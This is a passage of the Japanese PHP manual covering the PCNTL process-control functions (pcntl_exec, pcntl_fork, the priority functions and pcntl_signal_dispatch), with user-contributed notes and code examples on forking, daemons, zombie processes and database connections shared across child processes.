envs は、プログラムに渡す環境変数の配列です。 この配列は name => value のような形式で、key が環境変数名・value が その値となります。

返り値

成功した場合に null を、失敗した場合に false を返します.

User Contributed Notes

maxime at diametrick dot com 02-May-2013 06:20
An alternative for Windows environment is to use the COM object. With this, you can start child process with Apache, or php.exe as parent process. Very useful for CLI or console PHC-Win applications.

if(!function_exists('pcntl_exec')){
  function pcntl_exec($path,$args=array()){
    if(is_string($args)) $args = array($args);
    if(count($args)) $path = '"'.$path.'"';
    $shell = new COM('WScript.Shell');
    $shell->run($path.(count($args) ? ' '.implode(' ',$args) : ''),0,true);
  }
}

Very useful too when you want to use ansicon. Instead of make a .bat file with ansicon -p and php .... (somefile).php, in your .php file you can put this on top of your code:

pcntl_exec('ansicon -p');

BINGO!
fahadsadah at gmail dot com dot please dot remove dot this 28-Jun-2008 07:44
Just a note regarding what rbemrose at vgmusic dot com said:
Once the executed process ends, control returns to the webserver process.
rbemrose at vgmusic dot com 06-Feb-2008 02:44
As a side note, if I'm reading the comments below correctly, you should not run this if you're using a PHP webserver module, as it will replace the webserver's process with whatever process you're telling it to run.
agodong at verizon dot net 07-Dec-2006 10:47
Some people might find it useful to run other program using the same process as a different user. This is very usefull if the script is running under root. Here is a simple code to achieve that under *nix PHP CLI:

#!/usr/bin/php -q
<?php
//Enter run-as user below (argument needed to be passed when the script is called), otherwise it will run as the caller user process.

$username = $_SERVER['argv'][1];

$user = posix_getpwnam($username);
posix_setuid($user['uid']);
posix_setgid($user['gid']);
pcntl_exec('/path/to/cmd');
?>

I use this as a part of socket program so that a program can be run under different user from remote location.
eric kilfoil 24-Oct-2006 10:01
The pcntl_exec() function works exactly like the standard (unix-style) exec() function.  It differs from the regular PHP exec() function in that the process calling the pcntl_exec() is replaced with the process that gets called.  This is the ideal method for creating children.  In a simple example (that does no error checking):

switch (pcntl_fork()) {
  case 0:
    $cmd = "/path/to/command";
    $args = array("arg1", "arg2");
    pcntl_exec($cmd, $args);
    // the child will only reach this point on exec failure,
    // because execution shifts to the pcntl_exec()ed command
    exit(0);
  default:
    break;
}

// parent continues
echo "I am the parent";

--

since this is not being executed through a shell, you must provide the exact path from the filesystem root.  Look at the execve() man page for more information.
michael dot ferre at mobileway dot com 20-Nov-2002 03:28
//To complete my last note
//If you use some object in your php code
//You will have some problem if you do a exit after include the
//child scripts
//You must use posix_kill() like that :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
  include ($script_path);
  posix_kill(getmypid(),9);
}

//This code is very simple it can be ameliorate ;)


現在実行中のプロセスをフォークする

  • ≪ pcntl_exec
  • pcntl_get_last_error ≫
  • PHP Manual
  • PCNTL 関数
  • 現在実行中のプロセスをフォークする

pcntl_fork

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_fork — 現在実行中のプロセスをフォークする

説明

pcntl_fork ( ) : int

pcntl_fork() 関数は、親プロセスとその PID および PPID のみが異なる子プロセスを生成します。システム上でのフォークの 動作の具体的な詳細については、実行するシステムの fork(2) の マニュアルを参照ください。

返り値

成功時に、子プロセスの PID が親プロセスの実行スレッドに返され、 子プロセスの実行スレッドには 0 が返されます。失敗した場合、親プロセスの コンテキストに -1 が返され、子プロセスは生成されずに、PHP のエラーが 出力されます。

例

例1 pcntl_fork() の例

<?php

$pid = pcntl_fork();
if ($pid == -1) {
     die('fork できません');
} else if ($pid) {
     // 親プロセスの場合
     pcntl_wait($status); // ゾンビプロセスから守る
} else {
     // 子プロセスの場合
}

?>

参考

  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す
  • pcntl_signal() - シグナルハンドラを設定する
  • setproctitle() - プロセスのタイトルを設定

User Contributed Notes

simon dot riget at gmail dot com 23-Jul-2018 08:43
Be aware that pcntl_fork may return NULL (not -1) if the function is disabled in php.ini.
<?php
    $pid = pcntl_fork();
    if ( $pid < 0 || $pid === null )
        die ("Unable to fork process");
?>
laurent dot salomon at ymail dot com 19-Sep-2015 11:46
The following exemple works with php5.6 and apcu. This was tested on debian 7 and Ubuntu 14.04.2 LTS.

Here is a proposition of a simple Job class which execute a task list upon a item queue with shared memory capability :

class Job
{
    const
        CACHE_PREFIX = 'SHM/',
        WORKER_NUMBER = 10;

    private
        $_queues = [],
        $_tasks = [],
        $_pids = [],
        $_workerNumber,
        $_cacheHandler,
        $_prefix,
        $_id;

    public function __construct(array $queue, $workerNumber = self::WORKER_NUMBER)
    {
        $count = count($queue);

        $length = ceil($count / $workerNumber);

        $this->_queues = array_chunk($queue, $length);

        $this->setWorkerNumber($workerNumber);

        $this->_prefix = self::CACHE_PREFIX . microtime(true) . '/';
    }

    public function setWorkerNumber($workerNumber)
    {
        $this->_workerNumber = $workerNumber;
    }

    public function __get($key)
    {
        return apc_fetch($this->_prefix . $key);
    }

    public function __set($key, $value)
    {
        apc_store($this->_prefix . $key, $value);
    }

    public function add(Closure $task)
    {
        $this->_tasks[] = $task->bindTo($this, $this);

        return $this;
    }

    public function run(Closure $task = null)
    {
        if (isset($task))
        {
            $this->add($task);
        }

        $i = 0;

        do
        {
            $queue = $this->_queues[$i++];

            $pid = pcntl_fork();

            $this->_id = $i;

            if ($pid === -1)
            {
                die("can't fork !");
            }
            elseif ($pid !== 0) // main
            {
                $this->_pids[$pid] = $pid;
            }
            else // child
            {
                foreach($this->_tasks as $task)
                {
                    $task($queue);
                }

                exit(0);
            }
        }
        while($i < $this->_workerNumber);

        do // main
        {
            $pid = pcntl_wait($status);

            unset($this->_pids[$pid]);
        }
        while(count($this->_pids));
    }
}

$driver = new mysqli(':host', ':user', ':pwd', ':db');

$query = 'SELECT * FROM :table LIMIT :n';

if (false !== ($res = $driver->query($query)))
{
    $resultSet = [];

    while($row = mysqli_fetch_assoc($res))
    {
        $resultSet[] = $row;
    }

    $job = new Job($resultSet);

    $job->test = [];

    $job->run(function($queue = [])
    {
        // task

        foreach($queue as $value)
        {
            $test = $this->test;

            $value['workedId'] = $this->_id;

            // ...

            $test[] = $value;

            $this->test = $test;
        }
    });

    print_r($job->test);
}
jrm456 at speed dot 1s dot fr 09-Feb-2015 03:39
Workaround to pcntl_fork() not being usable when PHP is run as an Apache module

function background_job($program, $args)
{
    # The following doesn't work when running PHP as an apache module
    /*
    $pid = pcntl_fork();
    pcntl_signal(SIGCHLD, SIG_IGN);

    if ($pid == 0)
    {
        posix_setsid();
        pcntl_exec($program, $args, $_ENV);
        exit(0);
    }
    */

    # Workaround
    $args = join(' ', array_map('escapeshellarg', $args));
    exec("$program $args 2>/dev/null >&- /dev/null &");
}
kenneth at fellowrock dot com 03-Oct-2014 03:20
I just thought of contributing to this awesome community and hope this can be of use to someone. Although PHP provides threaded options, and multi curl handles that run in parallel, I managed to bash out a solution to run each function as it's own process for non-threaded versions of PHP.

Usage:  #!/usr/bin/php
Usage: php -f /path/to/file

#!/usr/bin/php
<?php
function fork_process($options)
{
    $shared_memory_monitor = shmop_open(ftok(__FILE__, chr(0)), "c", 0644, count($options['process']));
    $shared_memory_ids = (object) array();
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $shared_memory_ids->$i = shmop_open(ftok(__FILE__, chr($i)), "c", 0644, $options['size']);
    }
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $pid = pcntl_fork();
        if (!$pid)
        {
            if($i==1)
                usleep(100000);
            $shared_memory_data = $options['process'][$i - 1]();
            shmop_write($shared_memory_ids->$i, $shared_memory_data, 0);
            shmop_write($shared_memory_monitor, "1", $i-1);
            exit($i);
        }
    }
    while (pcntl_waitpid(0, $status) != -1)
    {
        if(shmop_read($shared_memory_monitor, 0, count($options['process'])) == str_repeat("1", count($options['process'])))
        {
            $result = array();
            foreach($shared_memory_ids as $key=>$value)
            {
                $result[$key-1] = shmop_read($shared_memory_ids->$key, 0, $options['size']);
                shmop_delete($shared_memory_ids->$key);
            }
            shmop_delete($shared_memory_monitor);
            $options['callback']($result);
        }
    }
}

// Create shared memory block of size 1M for each function.
$options['size'] = pow(1024,2);

// Define 2 functions to run as its own process.
$options['process'][0] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg: Long running proccess 1
    sleep(1);
    return 'Hello ';
};
$options['process'][1] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg:
    // Eg: Long running proccess 2
    sleep(1);
    return 'World!';
};
$options['callback'] = function($result)
{
    // $results is an array of return values...
    // $result[0] for $options['process'][0] &
    // $result[1] for $options['process'][1] &
    // Eg:
    echo $result[0].$result[1]."\n";
};
fork_process($options);

?>

If you'd like to get the results back from a webpage, use exec(). Eg: echo exec('php -f /path/to/file');

Continue hacking! :)
John Nicholls 06-Feb-2014 09:52
The notes on http://php.net/manual/en/function.posix-setsid.php describe how you can avoid accruing countless zombie processes by a simple call to posix_setsid() when a child starts.
manishpatel2280 at gmail dot com 08-Dec-2012 06:41
Its been easy to fork process with pcntl_fork.. but how can we control or process further once all child processes gets completed.. here is the way we can do that...

<?php
for ($i = 1; $i <= 5; ++$i) {
        $pid = pcntl_fork();

        if (!$pid) {
            sleep(1);
            print "In child $i\n";
            exit($i);
        }
    }

    while (pcntl_waitpid(0, $status) != -1) {
        $status = pcntl_wexitstatus($status);
        echo "Child $status completed\n";
    }
?>
kexianbin at diyism dot com 12-Dec-2011 11:17
Fork in foreach:

<?php
foreach ($tasks as $v)
        {if (($pid=pcntl_fork())===-1)
            {//...
             continue;
            }
         else if ($pid)
              {pcntl_wait($status, WNOHANG); //protect against zombie children, one wait vs one child
              }
         else if ($pid===0)
              {ob_start();//prevent output to main process
               register_shutdown_function(create_function('$pars', 'ob_end_clean();posix_kill(getmypid(), SIGKILL);'), array());//to kill self before exit();, or else the resource shared with parent will be closed
               //...
               exit();//avoid foreach loop in child process
              }
        }
?>
nmmm at nmmm dot nu 21-Nov-2011 10:57
It was driving me crazy that the script was killed couple of hours after I logged out, even I started it as:

php server.php >& logfile.txt

looks like PHP somehow interact with standard input, even I do not used it.

Solution was to start it with nohup:

nohup php server.php >& logfile.txt

or to do demonize / run as demon (e.g. fork() and close file descriptors)
sean dot kelly at mediatile dot com 22-Oct-2010 05:36
"Fatal Error" has always been the bane of my world because there is no way to capture and handle the condition in PHP. My team builds almost everything in PHP in order to leverage our core library of code, so it was of the essence to find a solution for this problem of scripts bombing unrecoverably and us never knowing about it.

One of our background automation systems creates a "task queue" of sorts and for each task in the queue, a PHP module is include()ed to handle the task. Sometimes however a poorly behaved module will nuke with a Fatal Error and take out the parent script with it.

I decided to try to use pcntl_fork() to isolate the task module from the parent code, and it seems to work: a Fatal Error generated within the module makes the child task bomb, and the waiting parent can simply catch the return code from the child and track/alert us to the problem as needed.

Naturally something similar could be done if I wanted to simply exec() the module and check the output, but then I would not have the benefit of the stateful environment that the parent script has so carefully prepared. This allows me to keep the child process within the context of the parent's running environment and not suffer the consequences of Fatal Errors stopping the task queue from continuing to process.

Here is fork_n_wait.php for your amusement:

<?php

if (! function_exists('pcntl_fork')) die('PCNTL functions not available on this PHP installation');

for ($x = 1; $x < 5; $x++) {
   switch ($pid = pcntl_fork()) {
      case -1:
         // @fail
         die('Fork failed');
         break;

      case 0:
         // @child: Include() misbehaving code here
         print "FORK: Child #{$x} preparing to nuke...\n";
         generate_fatal_error(); // Undefined function
         break;

      default:
         // @parent
         print "FORK: Parent, letting the child run amok...\n";
         pcntl_waitpid($pid, $status);
         break;
   }
}

print "Done! :^)\n\n";
?>

Which outputs:
php -q fork_n_wait.php
FORK: Child #1 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #2 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #3 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #4 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
Done! :^)
KrazyBox 12-Aug-2010 07:33
There are quite a few questions regarding how file descriptors get handled when processes are forked.

Remember that fork() makes a copy of the program, which means all descriptors are copied. Unfortunately, this is a rather bad situation for a PHP program because most descriptors are handled by PHP or a PHP Extension internally.

The simple, and probably "proper" way to solve this issue is to fork before hand, there really should be no need to fork at many different points among a program, you would simply fork, and then delegate the work. Use a master/worker hierarchy.

For example, if you need to have many processes that use a MySQL Connection, just fork before the connection is made, that way each child has it´s own connection to mysql that it, and it alone, manages.

With careful and correct usage, fork() can be an extremely powerful tool.

--Please remember to take proper care of your children.
somebody 12-Aug-2010 03:46
you should be _very_ careful with using fork in scripts beyond academic examples,
or rather just avoid it alltogether, unless you are very aware of it's limitations.

the problem is that it just forks the whole php process, including not only
the state of the script, but also the internal state of any extensions loaded.
this means that all memory is copied, but all file descriptors are shared among
the parent and child processes.
and that can cause major havoc if some extension internally maintains
file descriptors.
the primary example is ofcourse mysql, but this could be any extensions that
maintains open files or network sockets.
also, just reopening your connection in the parent or child isn't a safe
method, because when the old connection resource is destroyed, the extension
might not just close it, but for example send a request to the server to log
off, making the connection unusable.
this happens with mysql for example, when php exits - in the following script the query will always fail with "MySQL server has gone away":

<?php
mysql_connect(/* enter a working server here maybe? */);
if(pcntl_fork()) die(); // fork a child and have the parent terminate
//if(pcntl_fork()) posix_kill(getmypid(),9); // works, but very ugly
$r=mysql_query("select 1;");
if(!$r)die(mysql_error()."\n");
?>
(it was suggested that processes kill themselves with SIGKILL to avoid any cleanup on shutdown)

(the only save way would be to close all connections and reopen them after the fork, and even that might not be possible if an extension keeps one open internally)

for a nice demonstration of the havoc fork can create, try the below script.
it opens a mysql connection, then forks, and runs queries from both parent and child,
verifying that it receives the correct result.
run it (on the cli preferably) a few times, and you will find various possible
results:
- very often is just hangs and doesn't output anything anymore
- also very often, the server closes the connection, probably because it
  receives interleaved requests it can't process.
- sometimes one process gets the result of the OTHER processes'
  query! (because both send their queries down the same socket,
  and it's pure luck who gets the reply)

<?php
mysql_connect(/* enter a working server here maybe? */);
$f=pcntl_fork();
while(true){
    sleep(rand(0,10)/100);
    $r=mysql_query("select $f;");
    if(!$r)die($f.": ".mysql_error()."\n");
    list($x)=mysql_fetch_array($r);
    echo ($f)?".":"-";
    if($x!=$f) echo ($f.": fail: $x!=$f\n ");
}
?>
iulian 10-Jul-2010 11:58
When using fork to run multiple children processes on a single job queue using mysql, I used mysql_affected_rows() to prevent collisions between workers:

First I find a "free" job:
SELECT job_id FROM queue WHERE status="free"

Then I update the queue:
UPDATE queue SET worker_id={$worker_id} WHERE job_id={$job_id}

Then I see if the row was changed

<?php
if(mysql_affected_rows() == 0)
{
//the row hasn't changed, so it must mean that another worker has claimed the job, so I go back to the "find a free job" query
}
else
{
//do the job
}
?>
duerra at yahoo dot com 01-Jul-2010 07:06
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

I am including a stripped down version of a job daemon that should get a person on the right track.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);

            while(count($this->currentJobs) >= $this->maxProcesses){
               echo "Maximum children allowed, waiting...\n";
               sleep(1);
            }

            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
Anonymous 19-Nov-2009 10:12
With regards to the database connection, one could deal with this using kill 9 or a sleep, the real problem is if two threads make a database query at the same time, PHP starts having random database errors that are not necessarily clear as to what the problem is.

You should create a separate link per thread.
Tony 29-Oct-2009 03:05
If you want to execute some code after your php page has been returned to the user. Try something like this -

<?php
function index()
{
        function shutdown() {
            posix_kill(posix_getpid(), SIGHUP);
        }

        // Do some initial processing

        echo("Hello World");

        // Switch over to daemon mode.

        if ($pid = pcntl_fork())
            return;     // Parent

        ob_end_clean(); // Discard the output buffer and close

        fclose(STDIN);  // Close all of the standard
        fclose(STDOUT); // file descriptors as we
        fclose(STDERR); // are running as a daemon.

        register_shutdown_function('shutdown');

        if (posix_setsid() < 0)
            return;

        if ($pid = pcntl_fork())
            return;     // Parent

        // Now running as a daemon. This process will even survive
        // an apachectl stop.

        sleep(10);

        $fp = fopen("/tmp/sdf123", "w");
        fprintf($fp, "PID = %s\n", posix_getpid());
        fclose($fp);

        return;
}
?>
php at mx dot magic-lamp dot org 11-Sep-2009 01:31
A workaround for the MySQL "Lost Connection during query", or any other object related problems caused by children exiting is to force the child to kill -9 itself, thus avoiding any cleanup.  Sure - it's not too elegant, but it does work.

<?php
$pid = pcntl_fork();
if ( $pid == 0 ) {
    // This is the child process.  Do something here.
    // Instead of calling exit(), we use posix_kill()
    posix_kill(getmypid(),9);
}
?>

Watch out that you don't spawn too many processes though as this creates its own problems.
drrota at us dot ibm dot com 22-Aug-2009 03:47
I was able to get around the problem of not being able to run fork and exec from Apache php.

I got around this by calling the system 'at' command on Linux.  "at run something now".  and you have to set atrun -s in a crontab file (to run every minute) to insure that things get kicked off quickly even if there is a heavy load on the machine.

If you're the only one running batch jobs on a linux box, this works.
kentmussell at mindspring dot com 27-Nov-2007 10:05
Here is an interesting script I wrote.  It demonstrates how pcntl_fork() might be used as a useful tool.

<?php
/* This script serves the purpose of testing an algorithm designed to:
a.) Compare password hashes, or try passwords efficiently where the time to try a single password is 10 seconds.
b.) Spawn threads to work simultaneously on comparing hashes.
c.) Restrict the number of threads open at a time.
*/
//checks for divisibility
function divby($num,$den) {
    $result = $num/$den;
    $result2 = floor($result);
    if ($result == $result2) {
        return true;
        }
    else {
        return false;
        }
    }
//checks whether a period of time fits into 2 second intervals occuring every 10 seconds.  Interval may increase or decrease in size to use more or less memory.
function goodTime($elapsed) {
    $num = floor($elapsed);
    $num = $num/12;
    $min = floor($num);
    $min = 12*$min;
    $max = $min+2;
    if ($elapsed >= $min && $elapsed <= $max) {
        return "yes";
        }
    else {
        return "no";
        }
    }

$x = 30; //number of child threads
$pid = 1; //needed to create first thread
$xpass = md5('29');//hash to crack
$time = time();
$i = 1;
//parent spawns $x children.
while ($i <= $x) {
    if (file_exists('childcall.txt')) {
        unlink('childcall.txt');
        exit;
        }
    $elapsed = time()-$time;
    //children are only spawned during intervals occuring every 10 seconds leaving enough time for the previous batch of children to finish their task.
    if (goodTime($elapsed)=="yes") {
        //Are we the parent?
        if ($pid != 0) {
            //Give birth to a child.
            $pid = pcntl_fork();
            //create a record of how many children have been birthed.
            $arr[$i] = $i;
            $time2 = $elapsed;
            }
        //escort children out of the loop.
        if ($pid == 0) {
            $i = $x+1;
            }
        $i++;
        }
    }
//parent waits for children to finish playing.
if ($pid) {
    $value = 1;
    while (!file_exists('childcall.txt')) {
        //wait
        }
    unlink('childcall.txt');
    $time = time()+2;
    while (time()<$time) {
        //wait
        }
    exit;
    }
//children take turns finding the highest array value, and changing it to 0
rsort($arr);
$value = max($arr);
$arr[$value] = 0;
$time = time()+10;
//simulate delay
while (time() < $time) {
    //wait
    }
//compare the high array value hash to the hash we are looking to crack.
if (md5($value) == $xpass) {
    echo "$value \n";
    }
if ($value == $x || md5($value) == $xpass) {
    $file = "childcall.txt";
    $content = true;
    file_put_contents($file,$contents);
    }
?>
amatsak at chestnutsoftware dot com 25-Oct-2006 02:06
The reason for the MySQL "Lost Connection during query" issue when forking is the fact that the child process inherits the parent's database connection. When the child exits, the connection is closed. If the parent is performing a query at this very moment, it is doing it on an already closed connection, hence the error.

An easy way to avoid this is to create a new database connection in parent immediately after forking. Don't forget to force a new connection by passing true in the 4th argument of mysql_connect():

<?php
// Create the MySQL connection
$db = mysql_connect($server, $username, $password);

$pid = pcntl_fork();

if ( $pid == -1 ) {
    // Fork failed
    exit(1);
} else if ( $pid ) {
    // We are the parent
    // Can no longer use $db because it will be closed by the child
    // Instead, make a new MySQL connection for ourselves to work with
    $db = mysql_connect($server, $username, $password, true);
} else {
    // We are the child
    // Do something with the inherited connection here
    // It will get closed upon exit
    exit(0);
?>

This way, the child will inherit the old connection, will work on it and will close upon exit. The parent won't care, because it will open a new connection for itself immediately after forking.

Hope this helps.
xuecan at google dot com 26-Aug-2006 09:59
I think this simple code can help understand how fork works:

<?php
echo "posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";

$pid = pcntl_fork();
if ($pid == -1) die("could not fork");
if ($pid) {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
} else {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
}
?>
arnold at helderhosting dot nl 13-Feb-2005 07:12
It is not possible to use the function 'pcntl_fork' when PHP is used as Apache module. You can only use pcntl_fork in CGI mode or from command-line.

Using this function will result in: 'Fatal error: Call to undefined function: pcntl_fork()'
ben at gelbnet dot com 25-Sep-2002 03:54
I was writing a shell script to get input from a user, however, I needed my script to time out after a certain number of seconds if the user didn't enter enough data. The code below descibes the method I used. It's a little hairy but it does work.

-Ben

#!/home/ben/php/bin/php -q
<?php
//GLOBALS
$RETURN_CHAR = "\n";
$TIMEOUT = 5; //number of seconds to timeout on input
$PID = getmypid();
$CHILD_PID = 0;

//Make sure program execution doesn't time out
set_time_limit(0);

function set_timeout() {
global $PID;
global $CHILD_PID;
global $TIMEOUT;

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0) {
sleep($TIMEOUT);
posix_kill($PID, SIGTERM);
exit;
}
}

function clear_timeout() {
global $CHILD_PID;
posix_kill($CHILD_PID, SIGTERM);
}

// read_data()
// gets a line of data from STDIN and returns it
function read_data() {

$in = fopen("php://stdin", "r");
set_timeout();
$in_string = fgets($in, 255);
clear_timeout();
fclose($in);
return $in_string;
}

// write_data($outstring)
// writes data to STDOUT
function write_data($outstring) {
$out = fopen("php://stdout", "w");
fwrite($out, $outstring);
fclose($out);
}

while(1) {
write_data("say something->");
$input = read_data();
write_data($RETURN_CHAR.$input);
}

?>


直近の pcntl 関数が失敗したときのエラー番号を取得する

  • ≪ pcntl_fork
  • pcntl_getpriority ≫
  • PHP Manual
  • PCNTL 関数
  • 直近の pcntl 関数が失敗したときのエラー番号を取得する

pcntl_get_last_error

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_get_last_error — 直近の pcntl 関数が失敗したときのエラー番号を取得する

説明

pcntl_get_last_error ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

エラーコードを返します。

参考

  • pcntl_strerror() - 指定した errno に対応するシステムのエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


プロセスの優先度を取得する

  • ≪ pcntl_get_last_error
  • pcntl_setpriority ≫
  • PHP Manual
  • PCNTL 関数
  • プロセスの優先度を取得する

pcntl_getpriority

(PHP 5, PHP 7, PHP 8)

pcntl_getpriority — プロセスの優先度を取得する

説明

pcntl_getpriority ( int $pid = getmypid() , int $process_identifier = PRIO_PROCESS ) : int

pcntl_getpriority() は、pid の優先度を設定します。システムの型やカーネルの バージョンによって優先度の扱いは違うので、詳細についてはシステムの getpriority(2) の man ページを参照ください。

パラメータ

pid

指定しなかった場合は、現在のプロセスの PID を使用します。

process_identifier

PRIO_PGRP、PRIO_USER あるいは PRIO_PROCESS のいずれか。

返り値

pcntl_getpriority() はプロセスの優先度を返します。 エラー時には false を返します。数字が小さいほど、優先順位は上となります。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

参考

  • pcntl_setpriority() - プロセスの優先度を変更する

User Contributed Notes

jonathan at jcdesigns dot com 15-May-2008 02:12
This function is ideal for checking if a given process is running, I have seen solutions that involve running the system utilites like PS and parsing the answer, which should work fine, but this allows you to check a given PID with a single call

function CheckPID( $PID )
{
        // Check if the passed in PID represents a vlaid process in the system
        // Returns true if it does
        // Turn off non-fatal runtime warning for a moment as we know we
        // will get one if the PID does not represent a valid process

    $oldErrorLevel = error_reporting(0);
    error_reporting( $oldErrorLevel & ~E_WARNING );
    $res = pcntl_getpriority($PID);
    error_reporting( $oldErrorLevel);
    return ! ( $res === false);
}


プロセスの優先度を変更する

  • ≪ pcntl_getpriority
  • pcntl_signal_dispatch ≫
  • PHP Manual
  • PCNTL 関数
  • プロセスの優先度を変更する

pcntl_setpriority

(PHP 5, PHP 7, PHP 8)

pcntl_setpriority — プロセスの優先度を変更する

説明

pcntl_setpriority ( int $priority , int $pid = getmypid() , int $process_identifier = PRIO_PROCESS ) : bool

pcntl_setpriority() は、 pid の優先度を設定します。

パラメータ

priority

priority は一般的には -20 から 20 までの値です。 デフォルトの優先度は 0 で、数字が小さいほど 優先順位が上となります。システムの型やカーネルの バージョンによって優先度の扱いは違うので、詳細についてはシステムの setpriority(2) の man ページを参照ください。

pid

指定しない場合は、現在のプロセスの PID を使用します。

process_identifier

PRIO_PGRP、PRIO_USER あるいは PRIO_PROCESS のいずれかです。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • pcntl_getpriority() - プロセスの優先度を取得する

User Contributed Notes

t dot stobbe at blackdogdev dot com 27-Aug-2006 03:49
As for the renice function by leandro dot pereira at gmail dot com, this isn't true.  pcntl_setpriority() doesn't set the nice level of a process, but instead sets the base priority of it.  At first glance this might seem like the same thing, but on a system level, they are actually quite different.

In fact, if you're looking to use pcntl_setpriority() to prioritize your process (a tool or a daemon or what-not), I wouldn't recomend using setpriority at all, but renice it instead.  Let the system manage priorities and you'll end up with the results you were looking for.

This applies only to POSIX based systems only (as does the function presented by leandro dot pereira at gmail dot com as well).
leandro dot pereira at gmail dot com 23-Dec-2004 07:08
The following snippet may be used under older versions of PHP to provide similar functionality.  Tested only under Linux.

<?php
function _pcntl_setpriority($priority, $pid = 0)
{
        $priority = (int)$priority;
        $pid = (int)$pid;

        if ($priority > 20 && $priority < -20) {
                return False;
        }
        if ($pid == 0) {
                $pid = getmypid();
        }

        return system("renice  $priority -p $pid") != false;
}

?>


ペンディングシグナル用のハンドラをコールする

  • ≪ pcntl_setpriority
  • pcntl_signal_get_handler ≫
  • PHP Manual
  • PCNTL 関数
  • ペンディングシグナル用のハンドラをコールする

pcntl_signal_dispatch

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_signal_dispatch — ペンディングシグナル用のハンドラをコールする

説明

pcntl_signal_dispatch ( ) : bool

pcntl_signal_dispatch() 関数は、 pcntl_signal() がインストールしたシグナルハンドラを 各ペンディングシグナルに対してコールします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pcntl_signal_dispatch() の例

<?php
echo "Installing signal handler...\n";
pcntl_signal(SIGHUP,  function($signo) {
     echo "signal handler called\n";
});

echo "Generating signal SIGHUP to self...\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Dispatching...\n";
pcntl_signal_dispatch();

echo "Done\n";

?>

上の例の出力は、 たとえば以下のようになります。

Installing signal handler...
Generating signal SIGHUP to self...
Dispatching...
signal handler called
Done

参考

  • pcntl_signal() - シグナルハンドラを設定する
  • pcntl_sigprocmask() - ブロックされたシグナルを設定あるいは取得する
  • pcntl_sigwaitinfo() - シグナルを待つ
  • pcntl_sigtimedwait() - タイムアウトつきでシグナルを待つ

User Contributed Notes

stefanis 13-May-2014 06:45
Well I misspoke before. It is not enough to process signals outside of the signal handler. They must be processed outside of the tick handler (explicit or implied). So...

